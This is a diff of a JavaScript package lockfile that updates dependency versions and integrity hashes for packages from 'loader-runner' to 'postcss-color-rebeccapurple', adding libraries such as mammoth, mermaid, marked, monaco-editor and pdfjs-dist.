- "loader-runner": ["loader-runner@4.3.0", "", {}, "sha512-3R/1M+yS3j5ou80Me59j7F9IMs4PXs3VqRrm0TU3AbKPxlmpoY1TNscJV/oGJXo8qCatFGTfDbY6W6ipGOYXfg=="],
-
"loader-utils": ["loader-utils@3.3.1", "", {}, "sha512-FMJTLMXfCLMLfJxcX9PFqX5qD88Z5MRGaZCVzfuqeZSPsyiBzs+pahDQjbIWz2QIzPZz0NX9Zy4FX3lmK6YHIg=="],
"locate-path": ["locate-path@6.0.0", "", { "dependencies": { "p-locate": "^5.0.0" } }, "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw=="],
- "lodash": ["lodash@4.17.21", "", {}, "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="],
+ "lodash": ["lodash@4.17.23", "", {}, "sha512-LgVTMpQtIopCi79SJeDiP0TfWi5CNEc/L/aRdTh3yIvmZXTnheWpKjSZhnvMl8iXbC1tFg9gdHHDMLoV7CnG+w=="],
+
+ "lodash-es": ["lodash-es@4.17.23", "", {}, "sha512-kVI48u3PZr38HdYz98UmfPnXl2DXrpdctLrFLCd3kOx1xUkOmpFPx7gCWWM5MPkL/fD8zb+Ph0QzjGFs4+hHWg=="],
"lodash.camelcase": ["lodash.camelcase@4.3.0", "", {}, "sha512-TwuEnCnxbc3rAvhf/LbG7tJUDzhqXyFnv3dtzLOPgCG/hODL7WFnsbwktkD7yUV0RrreP/l1PALq/YSg6VvjlA=="],
@@ -3367,8 +3611,6 @@
"lodash.sortby": ["lodash.sortby@4.7.0", "", {}, "sha512-HDWXG8isMntAyRF5vZ7xKuEvOhT4AhlRt/3czTSjvGUxjYCBVRQY48ViDHyfYz9VIoBkW4TMGQNapx+l3RUwdA=="],
- "lodash.throttle": ["lodash.throttle@4.1.1", "", {}, "sha512-wIkUCfVKpVsWo3JSZlc+8MB5it+2AN5W8J7YVMST30UrvcQNZ1Okbj+rbVniijTWE6FGYy4XJq/rHkas8qJMLQ=="],
-
"lodash.uniq": ["lodash.uniq@4.5.0", "", {}, "sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ=="],
"log-update": ["log-update@6.1.0", "", { "dependencies": { "ansi-escapes": "^7.0.0", "cli-cursor": "^5.0.0", "slice-ansi": "^7.1.0", "strip-ansi": "^7.1.0", "wrap-ansi": "^9.0.0" } }, "sha512-9ie8ItPR6tjY5uYJh8K/Zrv/RMZ5VOlOWvtZdEHYSTFKZfIBPQa9tOAEeAWhd+AnIneLJ22w5fjOYtoutpWq5w=="],
@@ -3381,6 +3623,8 @@
"loose-envify": ["loose-envify@1.4.0", "", { "dependencies": { "js-tokens": "^3.0.0 || ^4.0.0" }, "bin": "cli.js" }, "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q=="],
+ "lop": ["lop@0.4.2", "", { "dependencies": { "duck": "^0.1.12", "option": "~0.2.1", "underscore": "^1.13.1" } }, "sha512-RefILVDQ4DKoRZsJ4Pj22TxE3omDO47yFpkIBoDKzkqPRISs5U1cnAdg/5583YPkWPaLIYHOKRMQSvjFsO26cw=="],
+
"lowlight": ["lowlight@2.9.0", "", { "dependencies": { "@types/hast": "^2.0.0", "fault": "^2.0.0", "highlight.js": "~11.8.0" } }, "sha512-OpcaUTCLmHuVuBcyNckKfH5B0oA4JUavb/M/8n9iAvanJYNQkrVm4pvyX0SUaqkBG4dnWHKt7p50B3ngAG2Rfw=="],
"lru-cache": ["lru-cache@4.1.5", "", { "dependencies": { "pseudomap": "^1.0.2", "yallist": "^2.1.2" } }, "sha512-sWZlbEP2OsHNkXrMl5GYk/jKk70MBng6UU4YI/qGDYbgf6YbP4EvmqISbXCoJiRKs+1bSpFHVgQxvJ17F2li5g=="],
@@ -3399,8 +3643,12 @@
"makeerror": ["makeerror@1.0.12", "", { "dependencies": { "tmpl": "1.0.5" } }, "sha512-JmqCvUhmt43madlpFzG4BQzG2Z3m6tvQDNKdClZnO3VbIudJYmxsT0FNJMeiB2+JTSlTQTSbU8QdesVmwJcmLg=="],
+ "mammoth": ["mammoth@1.11.0", "", { "dependencies": { "@xmldom/xmldom": "^0.8.6", "argparse": "~1.0.3", "base64-js": "^1.5.1", "bluebird": "~3.4.0", "dingbat-to-unicode": "^1.0.1", "jszip": "^3.7.1", "lop": "^0.4.2", "path-is-absolute": "^1.0.0", "underscore": "^1.13.1", "xmlbuilder": "^10.0.0" }, "bin": { "mammoth": "bin/mammoth" } }, "sha512-BcEqqY/BOwIcI1iR5tqyVlqc3KIaMRa4egSoK83YAVrBf6+yqdAAbtUcFDCWX8Zef8/fgNZ6rl4VUv+vVX8ddQ=="],
+
"markdown-table": ["markdown-table@3.0.4", "", {}, "sha512-wiYz4+JrLyb/DqW2hkFJxP7Vd7JuTDm77fvbM8VfEQdmSMqcImWeeRbHwZjBjIFki/VaMK2BhFi7oUUZeM5bqw=="],
+ "marked": ["marked@14.0.0", "", { "bin": { "marked": "bin/marked.js" } }, "sha512-uIj4+faQ+MgHgwUW1l2PsPglZLOLOT1uErt06dAPtx2kjteLAkbsd/0FiYg/MGS+i7ZKLb7w2WClxHkzOOuryQ=="],
+
"match-sorter": ["match-sorter@8.1.0", "", { "dependencies": { "@babel/runtime": "^7.23.8", "remove-accents": "0.5.0" } }, "sha512-0HX3BHPixkbECX+Vt7nS1vJ6P2twPgGTU3PMXjWrl1eyVCL24tFHeyYN1FN5RKLzve0TyzNI9qntqQGbebnfPQ=="],
"math-intrinsics": ["math-intrinsics@1.1.0", "", {}, "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g=="],
@@ -3459,6 +3707,8 @@
"merge2": ["merge2@1.4.1", "", {}, "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg=="],
+ "mermaid": ["mermaid@11.13.0", "", { "dependencies": { "@braintree/sanitize-url": "^7.1.1", "@iconify/utils": "^3.0.2", "@mermaid-js/parser": "^1.0.1", "@types/d3": "^7.4.3", "@upsetjs/venn.js": "^2.0.0", "cytoscape": "^3.33.1", "cytoscape-cose-bilkent": "^4.1.0", "cytoscape-fcose": "^2.2.0", "d3": "^7.9.0", "d3-sankey": "^0.12.3", "dagre-d3-es": "7.0.14", "dayjs": "^1.11.19", "dompurify": "^3.3.1", "katex": "^0.16.25", "khroma": "^2.1.0", "lodash-es": "^4.17.23", "marked": "^16.3.0", "roughjs": "^4.6.6", "stylis": "^4.3.6", "ts-dedent": "^2.2.0", "uuid": "^11.1.0" } }, "sha512-fEnci+Immw6lKMFI8sqzjlATTyjLkRa6axrEgLV2yHTfv8r+h1wjFbV6xeRtd4rUV1cS4EpR9rwp3Rci7TRWDw=="],
+
"methods": ["methods@1.1.2", "", {}, "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w=="],
"micromark": ["micromark@4.0.0", "", { "dependencies": { "@types/debug": "^4.0.0", "debug": "^4.0.0", "decode-named-character-reference": "^1.0.0", "devlop": "^1.0.0", "micromark-core-commonmark": "^2.0.0", "micromark-factory-space": "^2.0.0", "micromark-util-character": "^2.0.0", "micromark-util-chunked": "^2.0.0", "micromark-util-combine-extensions": "^2.0.0", "micromark-util-decode-numeric-character-reference": "^2.0.0", "micromark-util-encode": "^2.0.0", "micromark-util-normalize-identifier": "^2.0.0", "micromark-util-resolve-all": "^2.0.0", "micromark-util-sanitize-uri": "^2.0.0", "micromark-util-subtokenize": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-o/sd0nMof8kYff+TqcDx3VSrgBTcZpSvYcAHIfHhv5VAuNmisCxjhx6YmxS8PFEpb9z5WKWKPdzf0jM23ro3RQ=="],
@@ -3543,20 +3793,24 @@
"minimalistic-crypto-utils": ["minimalistic-crypto-utils@1.0.1", "", {}, "sha512-JIYlbt6g8i5jKfJ3xz7rF0LXmv2TkDxBLUkiBeZ7bAx4GnnNMr8xFpGnOxn6GhTEHx3SjRrZEoU+j04prX1ktg=="],
- "minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="],
+ "minimatch": ["minimatch@3.1.5", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w=="],
"minimist": ["minimist@1.2.8", "", {}, "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA=="],
- "minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="],
+ "minipass": ["minipass@7.1.3", "", {}, "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A=="],
"mkdirp": ["mkdirp@1.0.4", "", { "bin": "bin/cmd.js" }, "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw=="],
+ "mlly": ["mlly@1.8.1", "", { "dependencies": { "acorn": "^8.16.0", "pathe": "^2.0.3", "pkg-types": "^1.3.1", "ufo": "^1.6.3" } }, "sha512-SnL6sNutTwRWWR/vcmCYHSADjiEesp5TGQQ0pXyLhW5IoeibRlF/CbSLailbB3CNqJUk9cVJ9dUDnbD7GrcHBQ=="],
+
"module-alias": ["module-alias@2.2.3", "", {}, "sha512-23g5BFj4zdQL/b6tor7Ji+QY4pEfNH784BMslY9Qb0UnJWRAt+lQGLYmRaM0KDBwIG23ffEBELhZDP2rhi9f/Q=="],
"module-details-from-path": ["module-details-from-path@1.0.4", "", {}, "sha512-EGWKgxALGMgzvxYF1UyGTy0HXX/2vHLkw6+NvDKW2jypWbHpjQuj4UMcqQWXHERJhVGKikolT06G3bcKe4fi7w=="],
"moment": ["moment@2.30.1", "", {}, "sha512-uEmtNhbDOrWPFS+hdjFCBfy9f2YoyzRpwcl+DqpC6taX21FzsTLQVbMV/W7PzNSX6x/bhC1zA3c2UQ5NzH6how=="],
+ "monaco-editor": ["monaco-editor@0.55.1", "", { "dependencies": { "dompurify": "3.2.7", "marked": "14.0.0" } }, "sha512-jz4x+TJNFHwHtwuV9vA9rMujcZRb0CEilTEwG2rRSpe/A7Jdkuj8xPKttCgOh+v/lkHy7HsZ64oj+q3xoAFl9A=="],
+
"mongodb": ["mongodb@6.14.2", "", { "dependencies": { "@mongodb-js/saslprep": "^1.1.9", "bson": "^6.10.3", "mongodb-connection-string-url": "^3.0.0" }, "peerDependencies": { "@aws-sdk/credential-providers": "^3.188.0", "@mongodb-js/zstd": "^1.1.0 || ^2.0.0", "gcp-metadata": "^5.2.0", "kerberos": "^2.0.1", "mongodb-client-encryption": ">=6.0.0 <7", "snappy": "^7.2.2", "socks": "^2.7.1" }, "optionalPeers": ["@mongodb-js/zstd", "kerberos", "mongodb-client-encryption", "snappy", "socks"] }, "sha512-kMEHNo0F3P6QKDq17zcDuPeaywK/YaJVCEQRzPF3TOM/Bl9MFg64YE5Tu7ifj37qZJMhwU1tl2Ioivws5gRG5Q=="],
"mongodb-connection-string-url": ["mongodb-connection-string-url@3.0.2", "", { "dependencies": { "@types/whatwg-url": "^11.0.2", "whatwg-url": "^14.1.0 || ^13.0.0" } }, "sha512-rMO7CGo/9BFwyZABcKAWL8UJwH/Kc2x0g72uhDWzG48URRax5TCIcJ7Rc3RZqffZzO/Gwff/jyKwCU9TN8gehA=="],
@@ -3579,7 +3833,7 @@
"ms": ["ms@2.1.3", "", {}, "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="],
- "multer": ["multer@2.0.2", "", { "dependencies": { "append-field": "^1.0.0", "busboy": "^1.6.0", "concat-stream": "^2.0.0", "mkdirp": "^0.5.6", "object-assign": "^4.1.1", "type-is": "^1.6.18", "xtend": "^4.0.2" } }, "sha512-u7f2xaZ/UG8oLXHvtF/oWTRvT44p9ecwBBqTwgJVq0+4BW1g8OW01TyMEGWBHbyMOYVHXslaut7qEQ1meATXgw=="],
+ "multer": ["multer@2.1.1", "", { "dependencies": { "append-field": "^1.0.0", "busboy": "^1.6.0", "concat-stream": "^2.0.0", "type-is": "^1.6.18" } }, "sha512-mo+QTzKlx8R7E5ylSXxWzGoXoZbOsRMpyitcht8By2KHvMbf3tjwosZ/Mu/XYU6UuJ3VZnODIrak5ZrPiPyB6A=="],
"mustache": ["mustache@4.2.0", "", { "bin": "bin/mustache" }, "sha512-71ippSywq5Yb7/tVYyGbkBggbU8H3u5Rz56fH60jGFgr8uHwxs+aSKeqmluIVzM0m0kB7xQjKS6qPfd0b2ZoqQ=="],
@@ -3605,6 +3859,8 @@
"node-int64": ["node-int64@0.4.0", "", {}, "sha512-O5lz91xSOeoXP6DulyHfllpq+Eg00MWitZIbtPfoSEvqIHdl5gfcY6hYzDWnj0qD5tz52PI08u9qUvSVeUBeHw=="],
+ "node-readable-to-web-readable-stream": ["node-readable-to-web-readable-stream@0.4.2", "", {}, "sha512-/cMZNI34v//jUTrI+UIo4ieHAB5EZRY/+7OmXZgBxaWBMcW2tGdceIw06RFxWxrKZ5Jp3sI2i5TsRo+CBhtVLQ=="],
+
"node-releases": ["node-releases@2.0.27", "", {}, "sha512-nmh3lCkYZ3grZvqcCH+fjmQ7X+H0OeZgP40OierEaAptX4XofMh5kwNbWh7lBduUzCcV/8kZ+NDLCwm2iorIlA=="],
"node-stdlib-browser": ["node-stdlib-browser@1.3.1", "", { "dependencies": { "assert": "^2.0.0", "browser-resolve": "^2.0.0", "browserify-zlib": "^0.2.0", "buffer": "^5.7.1", "console-browserify": "^1.1.0", "constants-browserify": "^1.0.0", "create-require": "^1.1.1", "crypto-browserify": "^3.12.1", "domain-browser": "4.22.0", "events": "^3.0.0", "https-browserify": "^1.0.0", "isomorphic-timers-promises": "^1.0.1", "os-browserify": "^0.3.0", "path-browserify": "^1.0.1", "pkg-dir": "^5.0.0", "process": "^0.11.10", "punycode": "^1.4.1", "querystring-es3": "^0.2.1", "readable-stream": "^3.6.0", "stream-browserify": "^3.0.0", "stream-http": "^3.2.0", "string_decoder": "^1.0.0", "timers-browserify": "^2.0.4", "tty-browserify": "0.0.1", "url": "^0.11.4", "util": "^0.12.4", "vm-browserify": "^1.0.1" } }, "sha512-X75ZN8DCLftGM5iKwoYLA3rjnrAEs97MkzvSd4q2746Tgpg8b8XWiBGiBG4ZpgcAqBgtgPHTiAc8ZMCvZuikDw=="],
@@ -3651,6 +3907,8 @@
"object.values": ["object.values@1.2.1", "", { "dependencies": { "call-bind": "^1.0.8", "call-bound": "^1.0.3", "define-properties": "^1.2.1", "es-object-atoms": "^1.0.0" } }, "sha512-gXah6aZrcUxjWg2zR2MwouP2eHlCBzdV4pygudehaKXSGW4v2AsRQUK+lwwXhii6KFZcunEnmSUoYp5CXibxtA=="],
+ "okapibm25": ["okapibm25@1.4.1", "", {}, "sha512-UHmeH4MAtZXGFVncwbY7pfFvDVNxpsyM3W66aGPU0SHj1+ld59ty+9lJ0ifcrcnPUl1XdYoDgb06ObyCnpTs3g=="],
+
"ollama": ["ollama@0.5.18", "", { "dependencies": { "whatwg-fetch": "^3.6.20" } }, "sha512-lTFqTf9bo7Cd3hpF6CviBe/DEhewjoZYd9N/uCe7O20qYTvGqrNOFOBDj3lbZgFWHUgDv5EeyusYxsZSLS8nvg=="],
"on-finished": ["on-finished@2.4.1", "", { "dependencies": { "ee-first": "1.1.1" } }, "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg=="],
@@ -3671,6 +3929,8 @@
"openid-client": ["openid-client@6.5.0", "", { "dependencies": { "jose": "^6.0.10", "oauth4webapi": "^3.5.1" } }, "sha512-fAfYaTnOYE2kQCqEJGX9KDObW2aw7IQy4jWpU/+3D3WoCFLbix5Hg6qIPQ6Js9r7f8jDUmsnnguRNCSw4wU/IQ=="],
+ "option": ["option@0.2.4", "", {}, "sha512-pkEqbDyl8ou5cpq+VsnQbe/WlEy5qS7xPzMS1U55OCG9KPvwFD46zDbxQIj3egJSFc3D+XhYOPUzz49zQAVy7A=="],
+
"optionator": ["optionator@0.9.3", "", { "dependencies": { "@aashutoshrathi/word-wrap": "^1.2.3", "deep-is": "^0.1.3", "fast-levenshtein": "^2.0.6", "levn": "^0.4.1", "prelude-ls": "^1.2.1", "type-check": "^0.4.0" } }, "sha512-JjCoypp+jKn1ttEFExxhetCKeJt9zhAgAve5FXHixTvFDW/5aEktX9bufBKLRRMdU7bNtpLfcGu94B3cdEJgjg=="],
"os-browserify": ["os-browserify@0.3.0", "", {}, "sha512-gjcpUc3clBf9+210TRaDWbf+rZZZEshZ+DlXMRCeAjp0xhTrnQsKHypIy1J3d5hKdUzj69t708EHtU8P6bUn0A=="],
@@ -3695,6 +3955,8 @@
"package-json-from-dist": ["package-json-from-dist@1.0.1", "", {}, "sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw=="],
+ "package-manager-detector": ["package-manager-detector@1.6.0", "", {}, "sha512-61A5ThoTiDG/C8s8UMZwSorAGwMJ0ERVGj2OjoW5pAalsNOg15+iQiPzrLJ4jhZ1HJzmC2PIHT2oEiH3R5fzNA=="],
+
"pako": ["pako@1.0.11", "", {}, "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw=="],
"parent-module": ["parent-module@1.0.1", "", { "dependencies": { "callsites": "^3.0.0" } }, "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g=="],
@@ -3737,6 +3999,8 @@
"path-browserify": ["path-browserify@1.0.1", "", {}, "sha512-b7uo2UCUOYZcnF/3ID0lulOJi/bafxa1xPe7ZPsammBSpjSWQkjNxlt635YGS2MiR9GjvuXCtz2emr3jbsz98g=="],
+ "path-data-parser": ["path-data-parser@0.1.0", "", {}, "sha512-NOnmBpt5Y2RWbuv0LMzsayp3lVylAHLPUTut412ZA3l+C4uw4ZVkQbjShYCQ8TCpUMdPapr4YjUqLYD6v68j+w=="],
+
"path-exists": ["path-exists@4.0.0", "", {}, "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w=="],
"path-is-absolute": ["path-is-absolute@1.0.1", "", {}, "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg=="],
@@ -3745,16 +4009,18 @@
"path-parse": ["path-parse@1.0.7", "", {}, "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw=="],
- "path-scurry": ["path-scurry@2.0.1", "", { "dependencies": { "lru-cache": "^11.0.0", "minipass": "^7.1.2" } }, "sha512-oWyT4gICAu+kaA7QWk/jvCHWarMKNs6pXOGWKDTr7cw4IGcUbW+PeTfbaQiLGheFRpjo6O9J0PmyMfQPjH71oA=="],
+ "path-scurry": ["path-scurry@2.0.2", "", { "dependencies": { "lru-cache": "^11.0.0", "minipass": "^7.1.2" } }, "sha512-3O/iVVsJAPsOnpwWIeD+d6z/7PmqApyQePUtCndjatj/9I5LylHvt5qluFaBT3I5h3r1ejfR056c+FCv+NnNXg=="],
"path-to-regexp": ["path-to-regexp@8.2.0", "", {}, "sha512-TdrF7fW9Rphjq4RjrW0Kp2AW0Ahwu9sRGTkS6bvDi0SCwZlEZYmcfDbEsTz8RVk0EHIS/Vd1bv3JhG+1xZuAyQ=="],
- "path-type": ["path-type@4.0.0", "", {}, "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw=="],
+ "pathe": ["pathe@2.0.3", "", {}, "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w=="],
"pause": ["pause@0.0.1", "", {}, "sha512-KG8UEiEVkR3wGEb4m5yZkVCzigAD+cVEJck2CzYZO37ZGJfctvVptVO192MwrtPhzONn6go8ylnOdMhKqi4nfg=="],
"pbkdf2": ["pbkdf2@3.1.3", "", { "dependencies": { "create-hash": "~1.1.3", "create-hmac": "^1.1.7", "ripemd160": "=2.0.1", "safe-buffer": "^5.2.1", "sha.js": "^2.4.11", "to-buffer": "^1.2.0" } }, "sha512-wfRLBZ0feWRhCIkoMB6ete7czJcnNnqRpcoWQBLqatqXXmelSRqfdDK4F3u9T2s2cXas/hQJcryI/4lAL+XTlA=="],
+ "pdfjs-dist": ["pdfjs-dist@5.5.207", "", { "optionalDependencies": { "@napi-rs/canvas": "^0.1.95", "node-readable-to-web-readable-stream": "^0.4.2" } }, "sha512-WMqqw06w1vUt9ZfT0gOFhMf3wHsWhaCrxGrckGs5Cci6ybDW87IvPaOd2pnBwT6BJuP/CzXDZxjFgmSULLdsdw=="],
+
"peek-readable": ["peek-readable@5.0.0", "", {}, "sha512-YtCKvLUOvwtMGmrniQPdO7MwPjgkFBtFIrmfSbYmYuq3tKDV/mcfAhBth1+C3ru7uXIZasc/pHnb+YDYNkkj4A=="],
"pend": ["pend@1.2.0", "", {}, "sha512-F3asv42UuXchdzt+xXqfW1OGlVBe+mxa2mqI0pg5yAHZPvFmY3Y6drSf/GQ1A86WgWEN9Kzh/WrgKa6iGcHXLg=="],
@@ -3773,37 +4039,43 @@
"pkg-dir": ["pkg-dir@4.2.0", "", { "dependencies": { "find-up": "^4.0.0" } }, "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ=="],
+ "pkg-types": ["pkg-types@1.3.1", "", { "dependencies": { "confbox": "^0.1.8", "mlly": "^1.7.4", "pathe": "^2.0.1" } }, "sha512-/Jm5M4RvtBFVkKWRu2BLUTNP8/M2a+UwuAX+ae4770q1qVGtfjG+WTCupoZixokjmHiry8uI+dlY8KXYV5HVVQ=="],
+
"playwright": ["playwright@1.56.1", "", { "dependencies": { "playwright-core": "1.56.1" }, "optionalDependencies": { "fsevents": "2.3.2" }, "bin": "cli.js" }, "sha512-aFi5B0WovBHTEvpM3DzXTUaeN6eN0qWnTkKx4NQaH4Wvcmc153PdaY2UBdSYKaGYw+UyWXSVyxDUg5DoPEttjw=="],
"playwright-core": ["playwright-core@1.56.1", "", { "bin": "cli.js" }, "sha512-hutraynyn31F+Bifme+Ps9Vq59hKuUCz7H1kDOcBs+2oGguKkWTU50bBWrtz34OUWmIwpBTWDxaRPXrIXkgvmQ=="],
+ "points-on-curve": ["points-on-curve@0.2.0", "", {}, "sha512-0mYKnYYe9ZcqMCWhUjItv/oHjvgEsfKvnUTg8sAtnHr3GVy7rGkXCb6d5cSyqrWqL4k81b9CPg3urd+T7aop3A=="],
+
+ "points-on-path": ["points-on-path@0.2.1", "", { "dependencies": { "path-data-parser": "0.1.0", "points-on-curve": "0.2.0" } }, "sha512-25ClnWWuw7JbWZcgqY/gJ4FQWadKxGWk+3kR/7kD0tCaDtPPMj7oHu2ToLaVhfpnHrZzYby2w6tUA0eOIuUg8g=="],
+
"possible-typed-array-names": ["possible-typed-array-names@1.0.0", "", {}, "sha512-d7Uw+eZoloe0EHDIYoe+bQ5WXnGMOpmiZFTuMWCwpjzzkL2nTjcKiAk4hh8TjnGye2TwWOk3UXucZ+3rbmBa8Q=="],
"postcss": ["postcss@8.5.3", "", { "dependencies": { "nanoid": "^3.3.8", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-dle9A3yYxlBSrt8Fu+IpjGT8SY8hN0mlaA6GY8t0P5PjIOZemULz/E2Bnm/2dcUOena75OTNkHI76uZBNUUq3A=="],
- "postcss-attribute-case-insensitive": ["postcss-attribute-case-insensitive@6.0.2", "", { "dependencies": { "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-IRuCwwAAQbgaLhxQdQcIIK0dCVXg3XDUnzgKD8iwdiYdwU4rMWRWyl/W9/0nA4ihVpq5pyALiHB2veBJ0292pw=="],
+ "postcss-attribute-case-insensitive": ["postcss-attribute-case-insensitive@8.0.0", "", { "dependencies": { "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-fovIPEV35c2JzVXdmP+sp2xirbBMt54J+upU8u6TSj410kUU5+axgEzvBBSAX8KCybze8CFCelzFAw/FfWg2TA=="],
"postcss-calc": ["postcss-calc@8.2.4", "", { "dependencies": { "postcss-selector-parser": "^6.0.9", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.2.2" } }, "sha512-SmWMSJmB8MRnnULldx0lQIyhSNvuDl9HfrZkaqqE/WHAhToYsAvDq+yAsA/kIyINDszOp3Rh0GFoNuH5Ypsm3Q=="],
"postcss-clamp": ["postcss-clamp@4.1.0", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4.6" } }, "sha512-ry4b1Llo/9zz+PKC+030KUnPITTJAHeOwjfAyyB60eT0AorGLdzp52s31OsPRHRf8NchkgFoG2y6fCfn1IV1Ow=="],
- "postcss-color-functional-notation": ["postcss-color-functional-notation@5.1.0", "", { "dependencies": { "@csstools/postcss-progressive-custom-properties": "^2.3.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-w2R4py6zrVE1U7FwNaAc76tNQlG9GLkrBbcFw+VhUjyDDiV28vfZG+l4LyPmpoQpeSJVtu8VgNjE8Jv5SpC7dQ=="],
+ "postcss-color-functional-notation": ["postcss-color-functional-notation@8.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-tbmkk6teYpJzFcGwPIhN1gkvxqGHvNx2PMb8Y3S5Ktyn7xOlvD98XzQ99MFY5mAyvXWclDG+BgoJKYJXFJOp5Q=="],
- "postcss-color-hex-alpha": ["postcss-color-hex-alpha@9.0.3", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-7sEHU4tAS6htlxun8AB9LDrCXoljxaC34tFVRlYKcvO+18r5fvGiXgv5bQzN40+4gXLCyWSMRK5FK31244WcCA=="],
+ "postcss-color-hex-alpha": ["postcss-color-hex-alpha@11.0.0", "", { "dependencies": { "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-NCGa6vjIyrjosz9GqRxVKbONBklz5TeipYqTJp3IqbnBWlBq5e5EMtG6MaX4vqk9LzocPfMQkuRK9tfk+OQuKg=="],
- "postcss-color-rebeccapurple": ["postcss-color-rebeccapurple@8.0.2", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-xWf/JmAxVoB5bltHpXk+uGRoGFwu4WDAR7210el+iyvTdqiKpDhtcT8N3edXMoVJY0WHFMrKMUieql/wRNiXkw=="],
+ "postcss-color-rebeccapurple": ["postcss-color-rebeccapurple@11.0.0", "", { "dependencies": { "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-g9561mx7cbdqx7XeO/L+lJzVlzu7bICyXr72efBVKZGxIhvBBJf9fGXn3Cb6U4Bwh3LbzQO2e9NWBLVYdX5Eag=="],
